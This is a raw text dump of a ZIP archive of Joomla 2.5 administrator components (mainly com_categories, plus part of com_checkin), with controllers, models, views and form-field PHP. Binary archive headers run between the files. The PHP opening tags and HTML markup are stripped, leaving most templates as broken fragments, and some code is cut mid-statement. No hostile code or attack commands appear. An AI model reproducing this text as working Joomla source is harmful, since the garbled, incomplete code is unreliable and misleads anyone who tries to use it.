$this->getState('list.limit') ? $this->getState('list.limit') : null); $this->items = $results; } return $this->items; } } PKs>\)com_checkin/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_checkin/models/index.htmlnuW+A PKs>\Vcom_checkin/index.htmlnuW+A PKs>\V index.htmlnuW+A PKs>\$com_categories/categories.xmlnuW+A com_categories Joomla! Project December 2007 (C) 2005 - 2014 Open Source Matters. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL admin@joomla.org www.joomla.org 2.5.0 COM_CATEGORIES_XML_DESCRIPTION categories.php config.xml controller.php index.html controllers helpers models views language/en-GB.com_categories.ini PKs>\lUUcom_categories/categories.phpnuW+Aauthorise('core.manage', JRequest::getCmd('extension'))) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } // Execute the task. $controller = JControllerLegacy::getInstance('Categories'); $controller->execute(JRequest::getVar('task')); $controller->redirect(); PKs>\)com_categories/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\,+com_categories/views/category/tmpl/edit.phpnuW+A
      • form->getLabel('title'); ?> form->getInput('title'); ?>
      • form->getLabel('alias'); ?> form->getInput('alias'); ?>
      • form->getLabel('extension'); ?> form->getInput('extension'); ?>
      • form->getLabel('parent_id'); ?> form->getInput('parent_id'); ?>
      • form->getLabel('published'); ?> form->getInput('published'); ?>
      • form->getLabel('access'); ?> form->getInput('access'); ?>
      • canDo->get('core.admin')): ?>
      • form->getLabel('language'); ?> form->getInput('language'); ?>
      • form->getLabel('id'); ?> form->getInput('id'); ?>
      form->getLabel('description'); ?>
      form->getInput('description'); ?>
      item->id, array('useCookie'=>1)); ?> loadTemplate('options'); ?>
      loadTemplate('metadata'); ?>
      form->getFieldsets('attribs'); ?> $fieldSet) : ?> label) ? $fieldSet->label : 'COM_CATEGORIES_'.$name.'_FIELDSET_LABEL'; ?> description) && trim($fieldSet->description)) : ?>

      escape(JText::_($fieldSet->description));?>

        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      canDo->get('core.admin')): ?>
      item->id, array('useCookie'=>1)); ?>
      form->getLabel('rules'); ?> form->getInput('rules'); ?>
      PKs>\ŕ3com_categories/views/category/tmpl/edit_options.phpnuW+A
      • form->getLabel('created_user_id'); ?> form->getInput('created_user_id'); ?>
      • item->created_time)) : ?>
      • form->getLabel('created_time'); ?> form->getInput('created_time'); ?>
      • item->modified_user_id) : ?>
      • form->getLabel('modified_user_id'); ?> form->getInput('modified_user_id'); ?>
      • form->getLabel('modified_time'); ?> form->getInput('modified_time'); ?>
      form->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_CATEGORIES_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      • form->getLabel('note'); ?> form->getInput('note'); ?>
      PKs>\m4com_categories/views/category/tmpl/edit_metadata.phpnuW+A
      • form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
      • form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
      • form->getGroup('metadata') as $field): ?> hidden): ?>
      • input; ?>
      • label; ?> input; ?>
      PKs>\V-com_categories/views/category/tmpl/index.htmlnuW+A PKs>\),com_categories/views/category/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\u+com_categories/views/category/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); $this->canDo = CategoriesHelper::getActions($this->state->get('category.component')); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); JRequest::setVar('hidemainmenu', true); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { // Initialise variables. $extension = JRequest::getCmd('extension'); $user = JFactory::getUser(); $userId = $user->get('id'); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId); // Avoid nonsense situation. if ($extension == 'com_categories') { return; } // The extension can be in the form com_foo.section $parts = explode('.', $extension); $component = $parts[0]; $section = (count($parts) > 1) ? $parts[1] : null; // Need to load the menu language file as mod_menu hasn't been loaded yet. $lang = JFactory::getLanguage(); $lang->load($component, JPATH_BASE, null, false, true) || $lang->load($component, JPATH_ADMINISTRATOR . '/components/' . $component, null, false, true); // Load the category helper. require_once JPATH_COMPONENT.'/helpers/categories.php'; // Get the results for each action. $canDo = CategoriesHelper::getActions($component, $this->item->id); // If a component categories title string is present, let's use it. if ($lang->hasKey($component_title_key = $component.($section?"_$section":'').'_CATEGORY_'.($isNew?'ADD':'EDIT').'_TITLE')) { $title = JText::_($component_title_key); } // Else if the component section string exits, let's use it elseif ($lang->hasKey($component_section_key = $component.($section?"_$section":''))) { $title = JText::sprintf( 'COM_CATEGORIES_CATEGORY_'.($isNew?'ADD':'EDIT').'_TITLE', $this->escape(JText::_($component_section_key))); } // Else use the base title else { $title = JText::_('COM_CATEGORIES_CATEGORY_BASE_'.($isNew?'ADD':'EDIT').'_TITLE'); } // Load specific css component JHtml::_('stylesheet', $component.'/administrator/categories.css', array(), true); // Prepare the toolbar. JToolBarHelper::title($title, 'category-'.($isNew?'add':'edit').' '.substr($component, 4).($section?"-$section":'').'-category-'.($isNew?'add':'edit')); // For new records, check the create permission. if ($isNew && (count($user->getAuthorisedCategories($component, 'core.create')) > 0)) { JToolBarHelper::apply('category.apply'); JToolBarHelper::save('category.save'); JToolBarHelper::save2new('category.save2new'); } // If not checked out, can save the item. elseif (!$checkedOut && ($canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_user_id == $userId))) { JToolBarHelper::apply('category.apply'); JToolBarHelper::save('category.save'); if ($canDo->get('core.create')) { JToolBarHelper::save2new('category.save2new'); } } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { JToolBarHelper::save2copy('category.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('category.cancel'); } else { JToolBarHelper::cancel('category.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); // Compute the ref_key if it does exist in the component if (!$lang->hasKey($ref_key = strtoupper($component.($section?"_$section":'')).'_CATEGORY_'.($isNew?'ADD':'EDIT').'_HELP_KEY')) { $ref_key = 'JHELP_COMPONENTS_'.strtoupper(substr($component, 4).($section?"_$section":'')).'_CATEGORY_'.($isNew?'ADD':'EDIT'); } // Get help for the category/section view for the component by // -remotely searching in a language defined dedicated URL: *component*_HELP_URL // -locally searching in a component help file if helpURL param exists in the component and is set to '' // -remotely searching in a component URL if helpURL param exists in the component and is NOT set to '' if ($lang->hasKey($lang_help_url = strtoupper($component).'_HELP_URL')) { $debug = $lang->setDebug(false); $url = JText::_($lang_help_url); $lang->setDebug($debug); } else { $url = null; } JToolBarHelper::help($ref_key, JComponentHelper::getParams( $component )->exists('helpURL'), $url, $component); } } PKs>\V(com_categories/views/category/index.htmlnuW+A PKs>\)'com_categories/views/category/.htaccessnuW+A Order allow,deny Deny from all PKs>\s~b  6com_categories/views/categories/tmpl/default_batch.phpnuW+Astate->get('filter.published'); $extension = $this->escape($this->state->get('filter.extension')); ?>

      = 0) : ?>
      PKs>\V/com_categories/views/categories/tmpl/index.htmlnuW+A PKs>\ 0com_categories/views/categories/tmpl/default.phpnuW+Aget('id'); $extension = $this->escape($this->state->get('filter.extension')); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $ordering = ($listOrder == 'a.lft'); $saveOrder = ($listOrder == 'a.lft' && $listDirn == 'asc'); ?>
      items as $i => $item) : $orderkey = array_search($item->id, $this->ordering[$item->parent_id]); $canEdit = $user->authorise('core.edit', $extension.'.category.'.$item->id); $canCheckin = $user->authorise('core.admin', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canEditOwn = $user->authorise('core.edit.own', $extension.'.category.'.$item->id) && $item->created_user_id == $userId; $canChange = $user->authorise('core.edit.state', $extension.'.category.'.$item->id) && $canCheckin; ?>
      items, 'filesave.png', 'categories.saveorder'); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?>
      pagination->getListFooter(); ?>
      id); ?> |—', $item->level-1) ?> checked_out) : ?> editor, $item->checked_out_time, 'categories.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

      |—', $item->level-1) ?> note)) : ?> escape($item->alias));?> escape($item->alias), $this->escape($item->note));?>

      published, $i, 'categories.', $canChange);?> pagination->orderUpIcon($i, isset($this->ordering[$item->parent_id][$orderkey - 1]), 'categories.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, isset($this->ordering[$item->parent_id][$orderkey + 1]), 'categories.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> escape($item->access_level); ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      authorize('core.create', $extension) & $user->authorize('core.edit', $extension) && $user->authorize('core.edit.state', $extension)) : ?> loadTemplate('batch'); ?>
      PKs>\).com_categories/views/categories/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\))com_categories/views/categories/.htaccessnuW+A Order allow,deny Deny from all PKs>\Pc))-com_categories/views/categories/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Preprocess the list of items to find ordering divisions. foreach ($this->items as &$item) { $this->ordering[$item->parent_id][] = $item->id; } // Levels filter. $options = array(); $options[] = JHtml::_('select.option', '1', JText::_('J1')); $options[] = JHtml::_('select.option', '2', JText::_('J2')); $options[] = JHtml::_('select.option', '3', JText::_('J3')); $options[] = JHtml::_('select.option', '4', JText::_('J4')); $options[] = JHtml::_('select.option', '5', JText::_('J5')); $options[] = JHtml::_('select.option', '6', JText::_('J6')); $options[] = JHtml::_('select.option', '7', JText::_('J7')); $options[] = JHtml::_('select.option', '8', JText::_('J8')); $options[] = JHtml::_('select.option', '9', JText::_('J9')); $options[] = JHtml::_('select.option', '10', JText::_('J10')); $this->f_levels = $options; $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { // Initialise variables. $categoryId = $this->state->get('filter.category_id'); $component = $this->state->get('filter.component'); $section = $this->state->get('filter.section'); $canDo = null; $user = JFactory::getUser(); // Avoid nonsense situation. if ($component == 'com_categories') { return; } // Need to load the menu language file as mod_menu hasn't been loaded yet. $lang = JFactory::getLanguage(); $lang->load($component, JPATH_BASE, null, false, true) || $lang->load($component, JPATH_ADMINISTRATOR . '/components/' . $component, null, false, true); // Load the category helper. require_once JPATH_COMPONENT.'/helpers/categories.php'; // Get the results for each action. $canDo = CategoriesHelper::getActions($component, $categoryId); // If a component categories title string is present, let's use it. if ($lang->hasKey($component_title_key = strtoupper($component.($section?"_$section":'')).'_CATEGORIES_TITLE')) { $title = JText::_($component_title_key); } // Else if the component section string exits, let's use it elseif ($lang->hasKey($component_section_key = strtoupper($component.($section?"_$section":'')))) { $title = JText::sprintf( 'COM_CATEGORIES_CATEGORIES_TITLE', $this->escape(JText::_($component_section_key))); } // Else use the base title else { $title = JText::_('COM_CATEGORIES_CATEGORIES_BASE_TITLE'); } // Load specific css component JHtml::_('stylesheet', $component.'/administrator/categories.css', array(), true); // Prepare the toolbar. JToolBarHelper::title($title, 'categories '.substr($component, 4).($section?"-$section":'').'-categories'); if ($canDo->get('core.create') || (count($user->getAuthorisedCategories($component, 'core.create'))) > 0 ) { JToolBarHelper::addNew('category.add'); } if ($canDo->get('core.edit' ) || $canDo->get('core.edit.own')) { JToolBarHelper::editList('category.edit'); JToolBarHelper::divider(); } if ($canDo->get('core.edit.state')) { JToolBarHelper::publish('categories.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('categories.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('categories.archive'); } if (JFactory::getUser()->authorise('core.admin')) { JToolBarHelper::checkin('categories.checkin'); } if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete', $component)) { JToolBarHelper::deleteList('', 'categories.delete', 'JTOOLBAR_EMPTY_TRASH'); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('categories.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::custom('categories.rebuild', 'refresh.png', 'refresh_f2.png', 'JTOOLBAR_REBUILD', false); JToolBarHelper::preferences($component); JToolBarHelper::divider(); } // Compute the ref_key if it does exist in the component if (!$lang->hasKey($ref_key = strtoupper($component.($section?"_$section":'')).'_CATEGORIES_HELP_KEY')) { $ref_key = 'JHELP_COMPONENTS_'.strtoupper(substr($component, 4).($section?"_$section":'')).'_CATEGORIES'; } // Get help for the categories view for the component by // -remotely searching in a language defined dedicated URL: *component*_HELP_URL // -locally searching in a component help file if helpURL param exists in the component and is set to '' // -remotely searching in a component URL if helpURL param exists in the component and is NOT set to '' if ($lang->hasKey($lang_help_url = strtoupper($component).'_HELP_URL')) { $debug = $lang->setDebug(false); $url = JText::_($lang_help_url); $lang->setDebug($debug); } else { $url = null; } JToolBarHelper::help($ref_key, JComponentHelper::getParams( $component )->exists('helpURL'), $url); } } PKs>\V*com_categories/views/categories/index.htmlnuW+A PKs>\Vcom_categories/views/index.htmlnuW+A PKs>\.&9 com_categories/controller.phpnuW+Aextension)) { $this->extension = JRequest::getCmd('extension', 'com_content'); } } /** * Method to display a view. * * @param boolean If true, the view output will be cached * @param array An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}. * * @return JController This object to support chaining. * @since 1.5 */ public function display($cachable = false, $urlparams = false) { // Get the document object. $document = JFactory::getDocument(); // Set the default view name and format from the Request. $vName = JRequest::getCmd('view', 'categories'); $vFormat = $document->getType(); $lName = JRequest::getCmd('layout', 'default'); $id = JRequest::getInt('id'); // Check for edit form. if ($vName == 'category' && $lName == 'edit' && !$this->checkEditId('com_categories.edit.category', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_categories&view=categories&extension='.$this->extension, false)); return false; } // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { // Get the model for the view. $model = $this->getModel($vName, 'CategoriesModel', array('name' => $vName . '.' . substr($this->extension, 4))); // Push the model into the view (as default). $view->setModel($model, true); $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); // Load the submenu. require_once JPATH_COMPONENT.'/helpers/categories.php'; CategoriesHelper::addSubmenu($model->getState('filter.extension')); $view->display(); } return $this; } } PKs>\ȼHHcom_categories/config.xmlnuW+A
      PKs>\Vcom_categories/index.htmlnuW+A PKs>\V'com_categories/models/fields/index.htmlnuW+A PKs>\)&com_categories/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\!Ԟ/com_categories/models/fields/categoryparent.phpnuW+Aelement['name']; // Let's get the id for the current item, either category or content item. $jinput = JFactory::getApplication()->input; // For categories the old category is the category id 0 for new category. if ($this->element['parent']) { $oldCat = $jinput->get('id',0); $oldParent = $this->form->getValue($name); } else // For items the old category is the category they are in when opened or 0 if new. { $thisItem = $jinput->get('id',0); $oldCat = $this->form->getValue($name); } $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('a.id AS value, a.title AS text, a.level'); $query->from('#__categories AS a'); $query->join('LEFT', $db->quoteName('#__categories').' AS b ON a.lft > b.lft AND a.rgt < b.rgt'); // Filter by the type if ($extension = $this->form->getValue('extension')) { $query->where('(a.extension = '.$db->quote($extension).' OR a.parent_id = 0)'); } if ($this->element['parent']) { // Prevent parenting to children of this item. if ($id = $this->form->getValue('id')) { $query->join('LEFT', $db->quoteName('#__categories').' AS p ON p.id = '.(int) $id); $query->where('NOT(a.lft >= p.lft AND a.rgt <= p.rgt)'); $rowQuery = $db->getQuery(true); $rowQuery->select('a.id AS value, a.title AS text, a.level, a.parent_id'); $rowQuery->from('#__categories AS a'); $rowQuery->where('a.id = ' . (int) $id); $db->setQuery($rowQuery); $row = $db->loadObject(); } } $query->where('a.published IN (0,1)'); $query->group('a.id, a.title, a.level, a.lft, a.rgt, a.extension, a.parent_id'); $query->order('a.lft ASC'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } // Pad the option text with spaces using depth level as a multiplier. for ($i = 0, $n = count($options); $i < $n; $i++) { // Translate ROOT if ($options[$i]->level == 0) { $options[$i]->text = JText::_('JGLOBAL_ROOT_PARENT'); } $options[$i]->text = str_repeat('- ', $options[$i]->level).$options[$i]->text; } // Initialise variables. // Get the current user object. $user = JFactory::getUser(); // For new items we want a list of categories you are allowed to create in. if ($oldCat == 0) { foreach ($options as $i => $option) { // To take save or create in a category you need to have create rights for that category // unless the item is already in that category. // Unset the option if the user isn't authorised for it. In this field assets are always categories. if ($user->authorise('core.create', $extension . '.category.' . $option->value) != true ) { unset($options[$i]); } } } // If you have an existing category id things are more complex. else { //$categoryOld = $this->form->getValue($name); foreach ($options as $i => $option) { // If you are only allowed to edit in this category but not edit.state, you should not get any // option to change the category parent for a category or the category for a content item, // but you should be able to save in that category. if ($user->authorise('core.edit.state', $extension . '.category.' . $oldCat) != true) { if ($option->value != $oldCat) {echo 'y'; unset($options[$i]); } } // However, if you can edit.state you can also move this to another category for which you have // create permission and you should also still be able to save in the current category. elseif (($user->authorise('core.create', $extension . '.category.' . $option->value) != true) && $option->value != $oldCat) {echo 'x'; unset($options[$i]); } } } if (isset($row) && !isset($options[0])) { if ($row->parent_id == '1') { $parent = new stdClass(); $parent->text = JText::_('JGLOBAL_ROOT_PARENT'); array_unshift($options, $parent); } } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PKs>\\w-com_categories/models/fields/categoryedit.phpnuW+Aelement['published']? $this->element['published'] : array(0,1); $name = (string) $this->element['name']; // Let's get the id for the current item, either category or content item. $jinput = JFactory::getApplication()->input; // Load the category options for a given extension. // For categories the old category is the category id or 0 for new category. if ($this->element['parent'] || $jinput->get('option') == 'com_categories') { $oldCat = $jinput->get('id', 0); $oldParent = $this->form->getValue($name, 0); $extension = $this->element['extension'] ? (string) $this->element['extension'] : (string) $jinput->get('extension','com_content'); } else // For items the old category is the category they are in when opened or 0 if new. { $thisItem = $jinput->get('id',0); $oldCat = $this->form->getValue($name, 0); $extension = $this->element['extension'] ? (string) $this->element['extension'] : (string) $jinput->get('option','com_content'); } $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('a.id AS value, a.title AS text, a.level, a.published'); $query->from('#__categories AS a'); $query->join('LEFT', $db->quoteName('#__categories').' AS b ON a.lft > b.lft AND a.rgt < b.rgt'); // Filter by the extension type if ($this->element['parent'] == true || $jinput->get('option') == 'com_categories') { $query->where('(a.extension = '.$db->quote($extension).' OR a.parent_id = 0)'); } else { $query->where('(a.extension = '.$db->quote($extension).')'); } // If parent isn't explicitly stated but we are in com_categories assume we want parents if ($oldCat != 0 && ($this->element['parent'] == true || $jinput->get('option') == 'com_categories')) { // Prevent parenting to children of this item. // To rearrange parents and children move the children up, not the parents down. $query->join('LEFT', $db->quoteName('#__categories').' AS p ON p.id = '.(int) $oldCat); $query->where('NOT(a.lft >= p.lft AND a.rgt <= p.rgt)'); $rowQuery = $db->getQuery(true); $rowQuery->select('a.id AS value, a.title AS text, a.level, a.parent_id'); $rowQuery->from('#__categories AS a'); $rowQuery->where('a.id = ' . (int) $oldCat); $db->setQuery($rowQuery); $row = $db->loadObject(); } // Filter on the published state if (is_numeric($published)) { $query->where('a.published = ' . (int) $published); } elseif (is_array($published)) { JArrayHelper::toInteger($published); $query->where('a.published IN (' . implode(',', $published) . ')'); } $query->group('a.id, a.title, a.level, a.lft, a.rgt, a.extension, a.parent_id, a.published'); $query->order('a.lft ASC'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } // Pad the option text with spaces using depth level as a multiplier. for ($i = 0, $n = count($options); $i < $n; $i++) { // Translate ROOT if ($this->element['parent'] == true || $jinput->get('option') == 'com_categories') { if ($options[$i]->level == 0) { $options[$i]->text = JText::_('JGLOBAL_ROOT_PARENT'); } } if ($options[$i]->published == 1) { $options[$i]->text = str_repeat('- ', $options[$i]->level). $options[$i]->text ; } else { $options[$i]->text = str_repeat('- ', $options[$i]->level). '[' .$options[$i]->text . ']'; } } // Get the current user object. $user = JFactory::getUser(); // For new items we want a list of categories you are allowed to create in. if ($oldCat == 0) { foreach ($options as $i => $option) { // To take save or create in a category you need to have create rights for that category // unless the item is already in that category. // Unset the option if the user isn't authorised for it. In this field assets are always categories. if ($user->authorise('core.create', $extension . '.category.' . $option->value) != true ) { unset($options[$i]); } } } // If you have an existing category id things are more complex. else { // If you are only allowed to edit in this category but not edit.state, you should not get any // option to change the category parent for a category or the category for a content item, // but you should be able to save in that category. foreach ($options as $i => $option) { if ($user->authorise('core.edit.state', $extension . '.category.' . $oldCat) != true && !isset($oldParent)) { if ($option->value != $oldCat ) { unset($options[$i]); } } if ($user->authorise('core.edit.state', $extension . '.category.' . $oldCat) != true && (isset($oldParent)) && $option->value != $oldParent) { unset($options[$i]); } // However, if you can edit.state you can also move this to another category for which you have // create permission and you should also still be able to save in the current category. if (($user->authorise('core.create', $extension . '.category.' . $option->value) != true) && ($option->value != $oldCat && !isset($oldParent))) { { unset($options[$i]); } } if (($user->authorise('core.create', $extension . '.category.' . $option->value) != true) && (isset($oldParent)) && $option->value != $oldParent) { { unset($options[$i]); } } } } if (($this->element['parent'] == true || $jinput->get('option') == 'com_categories') && (isset($row) && !isset($options[0])) && isset($this->element['show_root'])) { if ($row->parent_id == '1') { $parent = new stdClass(); $parent->text = JText::_('JGLOBAL_ROOT_PARENT'); array_unshift($options, $parent); } array_unshift($options, JHtml::_('select.option', '0', JText::_('JGLOBAL_ROOT'))); } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PKs>\M5uu$com_categories/models/categories.phpnuW+Acontext; $extension = $app->getUserStateFromRequest('com_categories.categories.filter.extension', 'extension', 'com_content', 'cmd'); $this->setState('filter.extension', $extension); $parts = explode('.', $extension); // extract the component name $this->setState('filter.component', $parts[0]); // extract the optional section name $this->setState('filter.section', (count($parts) > 1) ? $parts[1] : null); $search = $this->getUserStateFromRequest($context.'.search', 'filter_search'); $this->setState('filter.search', $search); $level = $this->getUserStateFromRequest($context.'.filter.level', 'filter_level', 0, 'int'); $this->setState('filter.level', $level); $access = $this->getUserStateFromRequest($context.'.filter.access', 'filter_access', 0, 'int'); $this->setState('filter.access', $access); $published = $this->getUserStateFromRequest($context.'.filter.published', 'filter_published', ''); $this->setState('filter.published', $published); $language = $this->getUserStateFromRequest($context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // List state information. parent::populateState('a.lft', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.extension'); $id .= ':'.$this->getState('filter.published'); $id .= ':'.$this->getState('filter.language'); return parent::getStoreId($id); } /** * @return string * @since 1.6 */ function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.title, a.alias, a.note, a.published, a.access' . ', a.checked_out, a.checked_out_time, a.created_user_id' . ', a.path, a.parent_id, a.level, a.lft, a.rgt' . ', a.language' ) ); $query->from('#__categories AS a'); // Join over the language $query->select('l.title AS language_title'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the users for the author. $query->select('ua.name AS author_name'); $query->join('LEFT', '#__users AS ua ON ua.id = a.created_user_id'); // Filter by extension if ($extension = $this->getState('filter.extension')) { $query->where('a.extension = '.$db->quote($extension)); } // Filter on the level. if ($level = $this->getState('filter.level')) { $query->where('a.level <= '.(int) $level); } // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = ' . (int) $access); } // Implement View Level Access if (!$user->authorise('core.admin')) { $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN ('.$groups.')'); } // Filter by published state $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.published = ' . (int) $published); } elseif ($published === '') { $query->where('(a.published IN (0, 1))'); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } elseif (stripos($search, 'author:') === 0) { $search = $db->Quote('%'.$db->escape(substr($search, 7), true).'%'); $query->where('(ua.name LIKE '.$search.' OR ua.username LIKE '.$search.')'); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('(a.title LIKE '.$search.' OR a.alias LIKE '.$search.' OR a.note LIKE '.$search.')'); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = '.$db->quote($language)); } // Add the list ordering clause $listOrdering = $this->getState('list.ordering', 'a.lft'); $listDirn = $db->escape($this->getState('list.direction', 'ASC')); if ($listOrdering == 'a.access') { $query->order('a.access '.$listDirn.', a.lft '.$listDirn); } else { $query->order($db->escape($listOrdering).' '.$listDirn); } //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PKs>\V com_categories/models/index.htmlnuW+A PKs>\Wb\\"com_categories/models/category.phpnuW+Aid)) { if ($record->published != -2) { return; } $user = JFactory::getUser(); return $user->authorise('core.delete', $record->extension . '.category.' . (int) $record->id); } } /** * Method to test whether a record can have its state changed. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); // Check for existing category. if (!empty($record->id)) { return $user->authorise('core.edit.state', $record->extension . '.category.' . (int) $record->id); } // New category, so check against the parent. elseif (!empty($record->parent_id)) { return $user->authorise('core.edit.state', $record->extension . '.category.' . (int) $record->parent_id); } // Default to component settings if neither category nor parent known. else { return $user->authorise('core.edit.state', $record->extension); } } /** * Method to get a table object, load it if necessary. * * @param string $type The table name. Optional. * @param string $prefix The class prefix. Optional. * @param array $config Configuration array for model. Optional. * * @return JTable A JTable object * * @since 1.6 */ public function getTable($type = 'Category', $prefix = 'CategoriesTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * * @since 1.6 */ protected function populateState() { $app = JFactory::getApplication('administrator'); $parentId = JRequest::getInt('parent_id'); $this->setState('category.parent_id', $parentId); // Load the User state. $pk = (int) JRequest::getInt('id'); $this->setState($this->getName() . '.id', $pk); $extension = JRequest::getCmd('extension', 'com_content'); $this->setState('category.extension', $extension); $parts = explode('.', $extension); // Extract the component name $this->setState('category.component', $parts[0]); // Extract the optional section name $this->setState('category.section', (count($parts) > 1) ? $parts[1] : null); // Load the parameters. $params = JComponentHelper::getParams('com_categories'); $this->setState('params', $params); } /** * Method to get a category. * * @param integer $pk An optional id of the object to get, otherwise the id from the model state is used. * * @return mixed Category data object on success, false on failure. * * @since 1.6 */ public function getItem($pk = null) { if ($result = parent::getItem($pk)) { // Prime required properties. if (empty($result->id)) { $result->parent_id = $this->getState('category.parent_id'); $result->extension = $this->getState('category.extension'); } // Convert the metadata field to an array. $registry = new JRegistry(); $registry->loadString($result->metadata); $result->metadata = $registry->toArray(); // Convert the created and modified dates to local user time for display in the form. jimport('joomla.utilities.date'); $tz = new DateTimeZone(JFactory::getApplication()->getCfg('offset')); if (intval($result->created_time)) { $date = new JDate($result->created_time); $date->setTimezone($tz); $result->created_time = $date->toSql(true); } else { $result->created_time = null; } if (intval($result->modified_time)) { $date = new JDate($result->modified_time); $date->setTimezone($tz); $result->modified_time = $date->toSql(true); } else { $result->modified_time = null; } } return $result; } /** * Method to get the row form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Initialise variables. $extension = $this->getState('category.extension'); $jinput = JFactory::getApplication()->input; // A workaround to get the extension into the model for save requests. if (empty($extension) && isset($data['extension'])) { $extension = $data['extension']; $parts = explode('.', $extension); $this->setState('category.extension', $extension); $this->setState('category.component', $parts[0]); $this->setState('category.section', @$parts[1]); } // Get the form. $form = $this->loadForm('com_categories.category' . $extension, 'category', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } // Modify the form based on Edit State access controls. if (empty($data['extension'])) { $data['extension'] = $extension; } $user = JFactory::getUser(); if (!$user->authorise('core.edit.state', $extension . '.category.' . $jinput->get('id'))) { // Disable fields for display. $form->setFieldAttribute('ordering', 'disabled', 'true'); $form->setFieldAttribute('published', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is a record you can edit. 